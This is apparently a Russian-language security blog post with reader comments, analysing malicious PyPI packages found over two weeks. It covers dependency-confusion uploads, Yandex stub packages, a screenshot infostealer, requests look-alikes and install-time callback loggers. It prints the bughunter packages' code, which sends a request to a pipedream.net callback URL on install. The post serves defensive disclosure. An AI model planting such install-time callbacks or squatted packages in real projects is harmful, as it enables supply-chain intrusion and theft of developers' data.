За последние две недели в Python Package Index произошло много интересного. Мы, команда Threat Intelligence of PT Expert Security Center, вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек под ником yandex.bughunter
зарегистрировал пять пакетов с разными вариантами текста:
import subprocess
import os
import requests
#I am bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
import requests
#I am bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")
Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex
. Но странно, что в метаданных PyPI-проекта автор представляется как "Thomas Anderson t.a.neo@yandex.ru
", то есть использует личную почту, а не корпоративные @team.yandex.ru
/ @yandex-team.ru
?. Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из Матрицы...
Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет, который с таким же именем существует во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.
ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прочел гайд для новичков.
В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.
В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории - значит пакет наш и его нужно установить из внутреннего»).
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton
, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip, вот и весь секрет киллчейна.
В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter
забрал себе yandex-bot
, аккаунт, который владеет 1279 пакетами с достаточно интересными названиями, такими как yandex-soc-services-sdk
, yandex-cloud-ml-sdk-preview
, yandex-infradev-tool
.
Во всех этих пакетах автором указан Yandex <security@yandex-team.ru>
. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex
, а сами пакеты вызывают исключение при попытке их поставить:
class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")
У нас нет подробностей, как yandex.bughunter
узнал список пакетов внутренней кухни «Яндекса», но компания однозначно заметила эту активность.
Инфостилеры
Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev
подумал: «А что, если...»
И выпустил пакет pojang-resorter
, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord. В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора ?.
1001 мимикрия под requests
Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests
для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp
и invokehttp
. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания ?.
Вредоносная нагрузка расположена в __init__.py
и представляет собой обфусцированный однострочник:
Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow
, blacktrone
, pickachu
, takihao
, становится понятно, что наш злоумышленник — человек культуры ?.
Сезон отстуков
В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения. Ниже представлены различные варианты реализации такого функционала - это пакеты artifact-lab-3-package-77d0c154
, artifact-lab-3-package-89883da3
, tiktok-session-lite-sdk
, bytes-tbs
.
А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеюсь, что вам было интересно :)
zoto_ff
ну так и что, связались с томасом андерсоном?
NotSadMan
Вроде даже и причин особо нет чтоб с ним связываться
rakovskij_stanislav Автор
Привет! Да вроде и не стояла задача связываться с ним)
После публикации с нами сконтачились несколько человек, близких к багбаунти-программе Яндекса, и подтвердили, что Thomas Anderson действительно существует, это никнейм топового исследователя, он есть в Зале Славы бб-программы Яндекса.
Такие истории с багхантерами и пентестерами в любом случае необходимо детектировать и освещать. По крайней мере потому, что это позволит разработчикам и девсекопсам увидеть, что такие supply-chain-атаки имеют место в реальных сценариях (torch, бб Яндекса), а значит надо проверить, достаточно ли текущих мер для того, чтобы оставаться в безопасности от этого вектора :)